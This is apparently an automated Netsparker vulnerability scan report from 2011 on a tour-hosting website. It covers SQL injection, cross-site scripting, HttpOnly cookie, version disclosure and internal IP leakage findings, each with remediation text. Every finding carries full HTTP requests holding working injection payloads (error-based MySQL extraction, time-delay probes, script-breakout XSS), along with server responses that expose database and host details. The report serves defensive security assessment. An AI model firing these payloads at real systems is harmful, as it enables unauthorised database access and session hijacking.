</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 AND site_application_id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:0' for key 1)<br>Session halted.
[Probable] SQL Injection

[Probable] SQL Injection

4 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /

/

http://tours.sapha.com/?scs_sid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)..

Parameters

Parameter Type Value
scs_sid GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
scs_tid GET 1488
scscs GET 1

Request

GET /?scs_sid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&scs_tid=1488&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 363
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1)<br>Session halted.
- /

/

http://tours.sapha.com/?scs_sid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)..

Parameters

Parameter Type Value
scs_sid GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
scs_tid GET 1488

Request

GET /?scs_sid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 363
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1)<br>Session halted.
- /

/

http://tours.sapha.com/?scs_sid=2546&scs_tid=%2527&scscs=1

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET %27
scscs GET 1

Request

GET /?scs_sid=2546&scs_tid=%2527&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 313
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 AND site_application_id = %27<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1)<br>Session halted.
- /

/

http://tours.sapha.com/?scs_sid=2546&scs_tid=%2527

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET %27

Request

GET /?scs_sid=2546&scs_tid=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 313
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 AND site_application_id = %27<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1)<br>Session halted.
Cross-site Scripting

Cross-site Scripting

4 TOTAL
IMPORTANT
CONFIRMED
4
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000063)%3C/scr..

Parameters

Parameter Type Value
scs_sid GET '"--></style></script><script>alert(0x000063)</script>
scs_tid GET 1488
scscs GET 1

Request

GET /?scs_sid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000063)%3C/script%3E&scs_tid=1488&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 332
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''"--></style></script><script>netsparker(0x000063)</script>'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x000063)</script>'' at line 1)<br>Session halted.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0..

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET '"--></style></script><script>alert(0x000074)</script>
scscs GET 1

Request

GET /?scs_sid=2546&scs_tid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000074)%3C/script%3E&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:11 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 351
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 AND site_application_id = '"--></style></script><script>netsparker(0x000074)</script><br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"--></style></script><script>netsparker(0x000074)</script>' at line 1)<br>Session halted.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00008A)%3C/scr..

Parameters

Parameter Type Value
scs_sid GET '"--></style></script><script>alert(0x00008A)</script>
scs_tid GET 1488

Request

GET /?scs_sid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00008A)%3C/script%3E&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 332
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''"--></style></script><script>netsparker(0x00008A)</script>'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x00008A)</script>'' at line 1)<br>Session halted.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0..

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET '"--></style></script><script>alert(0x000093)</script>

Request

GET /?scs_sid=2546&scs_tid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000093)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:15 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 351
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 AND site_application_id = '"--></style></script><script>netsparker(0x000093)</script><br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"--></style></script><script>netsparker(0x000093)</script>' at line 1)<br>Session halted.
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=1488

Identified Cookie

sapha_tst_2546

Request

GET /?scs_sid=2546&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Fri, 22 Apr 2011 21:38:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: private
Set-Cookie: sapha_tst_2546=TRUE; expires=Mon, 19-Apr-2021 21:38:01 GMT; path=/
location: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488&scscs=1
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8


Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

http://tours.sapha.com/?scs_sid=2546&scs_tid=1488

Extracted Version

2.2.3 (CentOS)

Request

GET /?scs_sid=2546&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Fri, 22 Apr 2011 21:38:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: private
Set-Cookie: sapha_tst_2546=TRUE; expires=Mon, 19-Apr-2021 21:38:01 GMT; path=/
location: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488&scscs=1
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8


PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /

/

http://tours.sapha.com/?scs_sid=2546&scs_tid=1488

Extracted Version

PHP/5.1.6

Request

GET /?scs_sid=2546&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Fri, 22 Apr 2011 21:38:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: private
Set-Cookie: sapha_tst_2546=TRUE; expires=Mon, 19-Apr-2021 21:38:01 GMT; path=/
location: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488&scscs=1
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8


Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /

/

http://tours.sapha.com/?scs_sid=%27;WAITFOR%20DELAY%20%270:0:25%27--&scs_tid=1488

Parameters

Parameter Type Value
scs_sid GET ';WAITFOR DELAY '0:0:25'--
scs_tid GET 1488

Request

GET /?scs_sid=%27;WAITFOR%20DELAY%20%270:0:25%27--&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 317
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '';WAITFOR DELAY '0:0:25'--'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';WAITFOR DELAY '0:0:25'--'' at line 1)<br>Session halted.
[Possible] Internal IP Address Leakage

[Possible] Internal IP Address Leakage

1 TOTAL
LOW
Netsparker discovered an internal IP address in the page. It was not determined if the IP address was that of the system itself or that of an internal network.

Impact

This kind of information can be useful for an attacker when combined with other vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is then consider removing it.
- /

/

http://tours.sapha.com/?scs_sid=%27;WAITFOR%20DELAY%20%270:0:25%27--&scs_tid=1488

Parameters

Parameter Type Value
scs_sid GET ';WAITFOR DELAY '0:0:25'--
scs_tid GET 1488

Extracted IP Address(es)

192.168.50.20

Request

GET /?scs_sid=%27;WAITFOR%20DELAY%20%270:0:25%27--&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 317
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '';WAITFOR DELAY '0:0:25'--'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';WAITFOR DELAY '0:0:25'--'' at line 1)<br>Session halted.
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR..

Request

GET /?scs_sid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&scs_tid=1488&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:11 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 360
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:1' for key 1)<br>Session halted.
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /

/

http://tours.sapha.com/?scs_sid=%2527&scs_tid=1488

Parameters

Parameter Type Value
scs_sid GET %27
scs_tid GET 1488

Found E-mails

support@sapha.com

Request

GET /?scs_sid=%2527&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 602
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Tour Unavailable</title>
<style type="text/css">
body{
margin:0;
padding:0;
}
a{
color:#9E2626;
}
a:hover{
text-decoration:none;
}
.left {
float:left;
}
#container {
width:640px;
margin:50px auto 20px auto;
padding:0;
}
#container #content {
margin-left: 200px;
}
</style>
</head>
<body>
<div id="container">
<img class="left" src="images/alert_175x162.gif" height="162" width="175" border="0" />
<div id="content">
<h1>Oops!</h1>
<p>The tour you have requested does not exist or is not currently available. Please <a href="mailto:support@sapha.com" title="Sapha Support">contact support</a> if you feel you have reached this page in error.</p>
</div>
</div>
</body>
</html>